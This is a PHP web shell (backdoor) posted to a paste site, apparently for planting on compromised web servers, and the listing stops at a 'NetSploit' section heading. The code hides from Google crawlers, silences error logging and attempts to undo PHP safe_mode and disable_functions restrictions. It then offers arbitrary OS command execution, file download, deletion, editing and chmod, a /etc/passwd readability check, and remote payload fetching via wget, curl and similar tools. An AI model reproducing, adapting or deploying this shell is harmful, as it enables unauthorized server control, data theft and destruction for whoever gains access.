· 8 years ago · Apr 22, 2018, 03:32 PM
1<?php
2@session_start();
3@define('SELF_PATH', __FILE__);
4$auth_pass = "608e7dc116de7157306012b4f0be82ac";
5$cookie_hour_expire = 24;
6
7if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
8header('HTTP/1.0 404 Not Found');
9exit;
10}
11function printLogin() { ?>
12
13
14<html><head>
15<link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg">
16<title>Security Exploded</title>
17</head>
18<body>
19<style type="text/css">
20body { background-color:transparan;background:#000;background-image: url("http://oi60.tinypic.com/in74pi.jpg");background-position: center; background-attachment: fixed;background-repeat: repeat; }
21.tabnez{ margin:30px auto 0 auto;border: 1px solid #333333; color: grey;
22-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;}
23body,td,th {font-family: Verdana;font-size: 12px;color: grey;font-weight: bold;}
24input {BORDER-RIGHT:grey 1px solid;BORDER-TOP:grey 1px solid;BORDER-LEFT:grey 1px solid;BORDER-BOTTOM: grey 1px solid;BACKGROUND-COLOR: #111111;COLOR: grey;font: 8pt Verdana;}
25</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
26
27<img src="http://oi58.tinypic.com/2u8fmnn.jpg" title="./Port22" style="float:left" alt="Exploded" height='250' width='700'/>
28<br><br><br><br><br><br><br><br><br><center>
29<table>
30<form method='post'>
31<tr>
32<td><img src='http://oi58.tinypic.com/10r33mq.jpg' class="tabnez" height='20' width='24'></td>
33<hr>
34<form method=post>
35<address><?=$_SERVER['SERVER_SIGNATURE']?><center><input type=password name=x><input type=submit value=''></center></address>
36</tr>
37</form>
38</table>
39</body>
40</html>
41
42<?php
43exit;
44}
45$cookie_value = md5($_SERVER['HTTP_HOST']."dm".$auth_pass);
46if(isset($_POST['x'])){
47if(md5($_POST['x']) != $auth_pass){
48printLogin();
49}else{
50setcookie("dm", $cookie_value, time()+(60*(60*$cookie_hour_expire)));
51}
52}
53elseif(isset($_COOKIE['dm'])){
54if($_COOKIE['dm'] != $cookie_value){
55printLogin();
56}
57}elseif(!isset($_COOKIE['dm'])){
58printLogin();
59}
60if(isset($_POST['logout'])){
61setcookie("dm", "", time()-(60*(60*60*360000)));
62$page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
63echo '<center><span class="b1"> Please Wait ...</scan></center>';
64?>
65<script>window.location.href = '<?php print $page; ?>';</script>
66<?php exit(0);
67}
68
69
70@set_time_limit(0);
71@error_reporting(0);
72@ini_set('log_errors',0);
73@ini_set('error_log',NULL);
74@ini_restore("safe_mode");
75@ignore_user_abort(FALSE);
76@ini_restore("open_basedir");
77@set_magic_quotes_runtime(0);
78@ini_restore("allow_url_fopen");
79@ini_set('max_execution_time',0);
80@ini_restore("disable_functions");
81@ini_restore("safe_mode_exec_dir");
82@ini_restore("safe_mode_include_dir");
83@ini_set('zlib.output_compression','Off');
84date_default_timezone_set('Etc/GMT');
85
86if(get_magic_quotes_gpc()){
87function stripslashes_array($array)
88{ return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
89$_POST = stripslashes_array($_POST);
90}
91
92$quotes = get_magic_quotes_gpc();
93if ($quotes == "1" or $quotes == "on")
94{ $quot = "<font style='color:yellow'>ON</font>";}
95else
96{ $quot = "<font style='color:#444444'>OFF</font>"; }
97
98$disablefunc = @ini_get("disable_functions");
99function showdisablefunctions() {
100if ($disablefunc=@ini_get("disable_functions"))
101{ return "<span style='color:yellow'>".$disablefunc."</span>"; }
102else
103{ return "<span style='color:#444444'>NONE</span>"; }
104}
105
106function ex($cfe) {
107$res = '';
108if (!empty($cfe)) {
109if(function_exists('exec')) {
110@exec($cfe,$res);
111$res = join("\n",$res);
112}
113elseif(function_exists('shell_exec')) {
114$res = @shell_exec($cfe);
115}
116elseif(function_exists('system')) {
117@ob_start();
118@system($cfe);
119$res = @ob_get_contents();
120@ob_end_clean();
121}
122elseif(function_exists('passthru')) {
123@ob_start();
124@passthru($cfe);
125$res = @ob_get_contents();
126@ob_end_clean();
127}
128elseif(@is_resource($f = @popen($cfe,"r"))) {
129$res = "";
130while(!@feof($f)) { $res .= @fread($f,1024); }
131@pclose($f);
132} else { $res = "Ex() Disabled!"; }
133}
134return $res;
135}
136
137function delete_option($file){
138if(!$win){
139@exe("rm -rf ".$file);
140if(file_exists($file) && is_file($file)){unlink($file);}
141elseif(file_exists($file) && is_dir($file)){rmdir($file);}
142}
143elseif($win){
144if(is_dir($file)){
145@exe("rd /s /q ".$file);
146if(file_exists($file)){rmdir($file);}
147}
148else {
149@exe("del /q /f ".$file);
150exe("rd /s /q ".$file);
151if(file_exists($file)){
152unlink($file);
153}
154}
155}
156}
157
158if(isset($_POST['rename'])){
159$old = $_POST['oldname'];
160$new = $_POST['newname'];
161@rename($pwd.$old,$pwd.$new);
162$file = $pwd.$new;
163}
164if(isset($_POST['chmod'])){
165$name = $_POST['name'];
166$value = $_POST['newvalue'];
167if (strlen($value)==3){
168$value = 0 . "" . $value;
169}
170@chmod($pwd.$name,octdec($value));
171$file = $pwd.$name;
172}
173if(isset($_POST['chmod_folder'])){
174$name = $_POST['name'];
175$value = $_POST['newvalue'];
176if (strlen($value)==3){
177$value = 0 . "" . $value;
178}
179@chmod($pwd.$name,octdec($value));
180$file = $pwd.$name;
181}
182
183function showstat($stat) {
184if ($stat=="on")
185{ return "<b><font style='color:yellow'>ON</font></b>"; }
186else
187{ return "<b><font style='color:#444444'>OFF</font></b>"; }
188}
189function testperl() {
190if (ex('perl -h'))
191{ return showstat("on"); }
192else
193{ return showstat("off"); }
194}
195function testfetch() {
196if(ex('fetch --help'))
197{ return showstat("on"); }
198else
199{ return showstat("off"); }
200}
201function testwget() {
202if (ex('wget --help'))
203{ return showstat("on"); }
204else
205{ return showstat("off"); }
206}
207function testoracle() {
208if (function_exists('ocilogon'))
209{ return showstat("on"); }
210else
211{ return showstat("off"); }
212}
213function testpostgresql() {
214if (function_exists('pg_connect'))
215{ return showstat("on"); }
216else
217{ return showstat("off"); }
218}
219function testmssql() {
220if (function_exists('mssql_connect'))
221{ return showstat("on"); }
222else
223{ return showstat("off"); }
224}
225function testcurl() {
226if (function_exists('curl_version'))
227{ return showstat("on"); }
228else
229{ return showstat("off"); }
230}
231function testmysql() {
232if (function_exists('mysql_connect'))
233{ return showstat("on"); }
234else
235{ return showstat("off"); }
236}
237
238
239if(isset($_GET['dl']) && ($_GET['dl'] != "")){
240$file = $_GET['dl'];
241$filez = @file_get_contents($file);
242header("Content-type: application/octet-stream");
243header("Content-length: ".strlen($filez));
244header("Content-disposition: attachment; filename=\"".basename($file)."\";");
245echo $filez;
246exit;
247}
248
249elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
250$file = $_GET['dlgzip'];
251$filez = gzencode(@file_get_contents($file));
252header("Content-Type:application/x-gzip\n");
253header("Content-length: ".strlen($filez));
254header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
255echo $filez;
256exit;
257}
258
259
260if(isset($_GET['img'])){
261@ob_clean();
262$d = isset($_GET['img'])? $_GET['img']:"";
263$f = $_GET['img'];
264$inf = @getimagesize($d.$f);
265$ext = explode($f,".");
266$ext = $ext[count($ext)-1];
267@header("Content-type: ".$inf["mime"]);
268@header("Cache-control: public");
269@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
270@header("Cache-control: max-age=".(60*60*24*7));
271@readfile($d.$f);
272die();
273}
274
275$software = getenv("SERVER_SOFTWARE");
276if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
277$system = @php_uname();
278if(strtolower(substr($system,0,3)) == "win") $win = TRUE; else $win = FALSE;
279if(isset($_GET['dm'])){
280if(@is_dir($_GET['view'])){
281$pwd = $_GET['view'];
282@chdir($pwd);
283}
284else{
285$pwd = $_GET['dm'];
286@chdir($pwd);
287}
288}
289if(!$win){
290if(!$user = rapih(exe("whoami"))) $user = "";
291if(!$id = rapih(exe("id"))) $id = "";
292$prompt = $user." \$] ";
293$pwd = @getcwd().DIRECTORY_SEPARATOR;
294}
295else {
296$user = @get_current_user();
297$id = $user;
298$prompt = $user." >";
299$pwd = realpath(".")."\\";
300$v = explode("\\",$d);
301$v = $v[0];
302foreach (range("A","Z") as $letter) {
303$bool = @is_dir($letter.":\\");
304if ($bool) {
305$letters .= "<a href=\"?dm=".$letter.":\\\"><span class=\"infodmx\">[ ";
306if ($letter.":" != $v)
307{ $letters .= $letter; }
308else
309{ $letters .= "<span style=\"color:#444444\"/>".$letter."</span>";}
310$letters .= " ]</span> </a>";
311}
312}
313}
314if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
315$bytes = disk_free_space(".");
316$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
317$base = 1024;
318$class = min((int)log($bytes , $base) , count($si_prefix) - 1);
319$totalspace_bytes = disk_total_space(".");
320$totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
321$totalspace_bases = 1024;
322$totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
323$totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
324$freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
325$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
326$my_ip = $_SERVER['REMOTE_ADDR'];
327$server_admin=$_SERVER['SERVER_ADMIN'];
328$gat = $_SERVER['GATEWAY_INTERFACE'];
329$pro = $_SERVER['SERVER_PROTOCOL'];
330$readdr = $_SERVER['REMOTE_ADDR'];
331$uagent = $_SERVER['HTTP_USER_AGENT'];
332$xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
333$signature = $_SERVER['SERVER_SIGNATURE'];
334$serport = $_SERVER['SERVER_PORT'];
335$remport = $_SERVER['REMOTE_PORT'];
336$bindport = "13123";
337$bindport_pass = "b374k";
338$etc_passwd=@is_readable("/etc/passwd")?"<b><span style=\"color:#444444\"/>ON</span></b>":"<b><span style=\"color:yellow\"/>DISABLE</span></b>";
339$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
340$pwdurl = "";
341for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
342$pathz = "";
343for($j = 0 ; $j <= $i ; $j++)
344{ $pathz .= $pwds[$j].DIRECTORY_SEPARATOR; }
345$pwdurl .= "<a href=\"?dm=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
346}
347
348
349$buff .= "<nobr><b><span class=\"dminfox\">Software</span> : <span style=\"color:#444444\"/>" . $software . "</span></b></nobr><br/>";
350$buff .= "<nobr><b><span class=\"dminfox\">System</span> : <span style=\"color:#444444\"/>".$system."</span></b></nobr><br />";
351$buff .= "<nobr><b><span class=\"dminfox\">Webmaster</span> : "."<b><span style='color:#444444'>$server_admin</span></b>"." <b><span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Date : <b><span style=\"color:#444444\"/>".date("d M Y H:i:s",time())."</b><br/>";
352if($id != "")
353$buff .= "<nobr><span class=\"dminfox\">User</span> : <b><span style=\"color:#444444\"/>" . $id . "</span></b><nobr><br />";
354$buff .= "<nobr><span class=\"dminfox\">Server IP</span> : <b><span style=\"color:#444444\"/>".$server_ip."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Server Port</span> : <b><span style=\"color:#444444\"/>".$serport."</span></b></nobr><br/>";
355$buff .= "<nobr><span class=\"dminfox\">Your IP</span> : <b><span style=\"color:#444444\"/>".$my_ip."</span>
356<span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Real IP</span> : <b><span style=\"color:#444444\"/>".$xforwarded."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Remote Port</span> : <b><span style=\"color:#444444\"/>".$remport."</span> </b></nobr><br/>";
357$buff .= "<nobr><span class=\"dminfox\">Total HDD</span> : "."<b><span style='color:#444444'>$totalspace_show</span>"." <b><span class=\"infodmx\">||</span></b> "."<span class=\"depan\">Free HDD</span> : "."<b><span style='color:#444444'>$freespace_show</span>"."</b></nobr><br/>";
358$buff .= "<nobr><span class=\"dminfox\">PHP ver</span> : <b><span style='color:#444444'>".phpversion()."</span> <span class=\"infodmx\">||</span></b>
359<span class=\"dminfox\">Gateway</span> : <b><span style='color:#444444'>".$gat."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Protocol</span> : <b><span style='color:#444444'>".$pro."</span></b></nobr><br/>";
360
361if($safemode)
362$buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:yellow\">ON</span> [ <a href='?dm=$pwd&x=safemodeoff'>BYPASS</a> ]</b><br />";
363else $buff .= "<nobr><span class=\"dminfox\">Safemode</span> : <b><span style=\"color:#444444\">OFF</span> <span class=\"infodmx\">||</span></b> <span class=\"depan\">Magic Quotes</span> : <b><span style=\"color:#444444\"/>".$quot."</span> <span class=\"infodmx\">||</span></b> <span class=\"dminfox\">Read /etc/passwd</span> : "."<span style='color:#444444'>$etc_passwd</span>"."<br />";
364$buff .= "<nobr><span class=\"dminfox\">MySQL</span> : <b><span style=\"color:#444444\"/>".testmysql()." <span class=\"infodmx\">||</span></b>
365<span class=\"dminfox\">MSSQL :</span><b> <span style=\"color:#444444\"/>".testmssql()."</span> <span class=\"infodmx\">||</span></b>
366<span class=\"dminfox\">Oracle :</span><b> <span style=\"color:#444444\"/>".testoracle()."</span> <span class=\"infodmx\">||</span></b>
367<span class=\"dminfox\">PostgreSQL :</span><b> <span style=\"color:#444444\"/>".testpostgresql()."</span></b> </nobr><br/>";
368$buff .= "<nobr><span class=\"dminfox\">Curl</span> : <b><span style=\"color:#444444\"/>".testcurl()."</span> <span class=\"infodmx\">||</span></b>
369<span class=\"dminfox\">WGet</span> : <b><span style=\"color:#444444\"/>".testwget()."</span> <span class=\"infodmx\">||</span></b>
370<span class=\"dminfox\">Fetch</span> : <b><span style=\"color:#444444\"/>".testfetch()."</span> <span class=\"infodmx\">||</span></b>
371<span class=\"dminfox\">Perl</span> : <b><span style=\"color:#444444\"/>".testperl()."</span></b></nobr><br/>";
372$buff .= "<span class=\"dminfox\">Disabled Functions</span> : <span style=\"color:#444444\">".showdisablefunctions()."<br />";
373$buff .= $letters."<span class=\"dminfox\">Directory : ".$pwdurl."</span><br /><br />";
374
375function rapih($text){
376return trim(str_replace("<br />","",$text));
377}
378function magicboom($text) {
379if(!get_magic_quotes_gpc())
380{
381return $text;
382}
383return stripslashes($text);
384}
385
386
387function showdir($pwd,$prompt){
388$fname = array();
389$dname = array();
390if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
391else $posix = FALSE;
392$user = "????:????";
393if($dh = opendir($pwd)){
394while($file = readdir($dh)){
395if(is_dir($file))
396{ $dname[] = $file; }
397elseif(is_file($file))
398{ $fname[] = $file; }
399}
400closedir($dh);
401}
402sort($fname);
403sort($dname);
404$path = @explode(DIRECTORY_SEPARATOR,$pwd);
405$tree = @sizeof($path);
406$parent = "";
407
408
409// Membuat 2 Form Input CMD n DIRectory Di Main Page //
410$buff = "<form action=\"?dm=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
411<table class=\"cmdbox\" style=\"width:50%;\">
412
413<tr>
414<td><nobr><b>CMD</b></nobr></td>
415<td><!-- onMouseOver=\"this.focus();\" --><nobr><input id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:300px;\" value=\"\" />
416<input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" />
417</nobr>
418</form>
419</td>
420</tr>
421
422<tr>
423<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
424<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
425<td><nobr><b>DIR</b></nobr></td>
426
427<td><nobr><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:300px;\" value=\"".$pwd."\" /> <input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:50px;\" /></nobr></form>
428</td>
429</tr>
430</table>
431
432<p><table class=\"explore\"><tr>
433<th style=\"width:200px;\"><strong><span class='b3'>_NAME_</span></strong></th>
434<th style=\"width:70px;\"><strong><span class='b3'>_DIR / SIZE_</span></strong></th>
435<th style=\"width:70px;\"><strong><span class='b3'>_CHMOD_</span></strong></th>
436<th style=\"width:150px;\"><strong><span class='b3'>_OWNER : GROUP_</span></strong></th>
437<th style=\"width:140px;\"><strong><span class='b3'>_LAST ACCESS_</span></strong></th>
438<th style=\"width:150px;\"><strong><span class='b3'>_ACTION_</span></strong></th></tr>";
439
440if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
441else $parent = $pwd;
442foreach($dname as $folder){
443if($folder == ".") {
444if(!$win && $posix){
445$name=@posix_getpwuid(@fileowner($folder));
446$group=@posix_getgrgid(@filegroup($folder));
447$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; }
448else {
449$owner = $user;
450}
451$buff .= "<tr>
452<td><a href=\"?dm=".$pwd."\"><img src='data:image/png;base64,R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs='>$folder</a></td>
453<td align=center>-</td>
454<td align=center>".substr(sprintf('%o', fileperms($pwd)), -4)."</td>
455<td align=center>".$owner."</td>
456<td align=center>".date("d-M-Y H:i",@fileatime($pwd))."</td>
457<td align=center><span id=\"titik1\">
458<a href=\"?dm=$pwd&edit=".$pwd."new.php\">[ +FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik1','titik1_form');\"> [ +FOLDER ]</a></span>
459<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
460<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
461<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
462<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
463</form>
464</td></tr>";
465}
466
467elseif($folder == "..") {
468if(!$win && $posix){
469$name=@posix_getpwuid(@fileowner($folder));
470$group=@posix_getgrgid(@filegroup($folder));
471$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
472}
473else { $owner = $user; }
474$buff .= "<tr>
475<td><a href=\"?dm=".$parent."\"><img src='data:image/png;base64,R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs='/>$folder</a></td>
476<td align=center>-</td>
477<td align=center>".substr(sprintf('%o', fileperms($parent)), -4)."</td>
478<td align=center>".$owner."</td>
479<td align=center>".date("d-M-Y H:i",@fileatime($parent))."</td>
480<td align=center><span id=\"titik2\"><a href=\"?dm=$pwd&edit=".$parent."new.php\">[+FILE ] </a><span class=\"infodmx\">||</span><a href=\"javascript:tukar('titik2','titik2_form');\"> [ +FOLDER ]</a></span>
481<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
482<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
483<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"folder\" />
484<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
485</form>
486</td>
487</tr>";
488} else {
489if(!$win && $posix){
490$name=@posix_getpwuid(@fileowner($folder));
491$group=@posix_getgrgid(@filegroup($folder));
492$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
493}
494else { $owner = $user; }
495$buff .= "<tr>
496<td>
497<a id=\"".clearspace($folder)."_link\" href=\"?dm=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,
498R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///
499nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='/> $folder </a>
500
501<form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
502<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
503<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
504<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
505<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
506</form>
507</td>
508<td align=center>FOLDER</td>
509<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">
510".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."</a>
511<form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
512<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
513<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
514<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
515<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></td>
516<td align=center>".$owner."</td>
517<td align=center>".date("d-M-Y H:i",@fileatime($folder))."</td>
518<td align=center><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">[ REN ] </a><span class=\"infodmx\">||</span><a href=\"?dm=$pwd&fdelete=".$pwd.$folder."\"> [ DEL ]</a>
519</td></tr>";
520}
521}
522
523foreach($fname as $file){
524$full = $pwd.$file;
525if(!$win && $posix){
526$name=@posix_getpwuid(@fileowner($file));
527$group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; } else {
528$owner = $user;
529}
530$buff .= "<tr>
531<td><a id=\"".clearspace($file)."_link\" href=\"?dm=$pwd&view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' /> $file</a><form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
532<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
533<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
534<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
535<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
536</form></td>
537<td align=center>".ukuran($full)."</td>
538<td align=center><a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".substr(sprintf('%o', fileperms($full)), -4)."</a><form action=\"?dm=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
539<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
540<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
541<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
542<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" />
543</form></center></td>
544<td align=center>".$owner."</td>
545<td align=center>".date("d-M-Y H:i",@fileatime($full))."</td>
546<td align=center><a href=\"?dm=$pwd&edit=$full\">[E]</a>
547<span class=\"infodmx\">||</span>
548<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">[R]</a>
549<span class=\"infodmx\">||</span>
550<a href=\"?dm=$pwd&delete=$full\">[X]</a>
551<span class=\"infodmx\">||</span>
552<a href=\"?dm=$pwd&dl=$full\">[D]</a>
553</td></tr>";
554}
555$buff .= "</table></p>";
556return $buff;
557}
558
559// Fungsi Ukuran Besar Jenis File
560function ukuran($file){
561if($size = @filesize($file)){
562if($size <= 1024) {
563return "$size B";
564} else {
565if($size <= 1024*1024) {
566$size = @round($size / 1024,2);;
567return "$size KB";
568} else {
569$size = @round($size / 1024 / 1024,2);
570return "$size MB";
571}
572}
573}
574else return "???";
575}
576
577function exe($cmd){
578if(function_exists('system')) {
579@ob_start();
580@system($cmd);
581$buff = @ob_get_contents();
582@ob_end_clean();
583return $buff;
584}
585elseif(function_exists('exec')) {
586@exec($cmd,$results);
587$buff = "";
588foreach($results as $result){
589$buff .= $result;
590}
591return $buff;
592}
593elseif(function_exists('passthru')) {
594@ob_start();
595@passthru($cmd);
596$buff = @ob_get_contents();
597@ob_end_clean();
598return $buff;
599}
600elseif(function_exists('shell_exec')){
601$buff = @shell_exec($cmd);
602return $buff;
603}
604}
605
606// Fungsi Tulis NewFile //
607function tulis($file,$text){
608$textz = gzinflate(base64_decode($text));
609if($filez = @fopen($file,"w")) {
610@fputs($filez,$textz);
611@fclose($file);
612}
613}
614
615// Fungsi Upload Dari Url //
616function ambil($link,$file) {
617if($fp = @fopen($link,"r")){
618while(!feof($fp)) {
619$cont.= @fread($fp,1024);
620}
621@fclose($fp);
622$fp2 = @fopen($file,"w");
623@fwrite($fp2,$cont);
624@fclose($fp2);
625}
626}
627function which($pr){
628$path = exe("which $pr");
629if(!empty($path)) {
630return trim($path);
631} else {
632return trim($pr);
633}
634}
635function download($cmd,$url){
636$namafile = basename($url);
637switch($cmd) {
638case 'wwget':
639exe(which('wget')." ".$url." -O ".$namafile);
640break;
641case 'wlynx':
642exe(which('lynx')." -source ".$url." >".$namafile);
643break;
644case 'wfread' :
645ambil($wurl,$namafile);
646break;
647case 'wfetch' :
648exe(which('fetch')." -o ".$namafile." -p ".$url);
649break;
650case 'wlinks' :
651exe(which('links')." -source ".$url." >".$namafile);
652break;
653case 'wget' :
654exe(which('GET')." ".$url." >".$namafile);
655break;
656case 'wcurl' :
657exe(which('curl')." ".$url." -o ".$namafile);
658break;
659default:
660break;
661}
662return $namafile;
663}
664
665// Fungsi array utk CHMOD / permission //
666function get_perms($file) {
667if($mode=@fileperms($file)){
668$perms='';
669$perms .= ($mode & 00400) ? 'r' : '-';
670$perms .= ($mode & 00200) ? 'w' : '-';
671$perms .= ($mode & 00100) ? 'x' : '-';
672$perms .= ($mode & 00040) ? 'r' : '-';
673$perms .= ($mode & 00020) ? 'w' : '-';
674$perms .= ($mode & 00010) ? 'x' : '-';
675$perms .= ($mode & 00004) ? 'r' : '-';
676$perms .= ($mode & 00002) ? 'w' : '-';
677$perms .= ($mode & 00001) ? 'x' : '-';
678return $perms;
679}
680else return "?????";
681}
682
683function clearspace($text){
684return str_replace(" ","_",$text);
685}
686
687// Fungsi NetSploit //
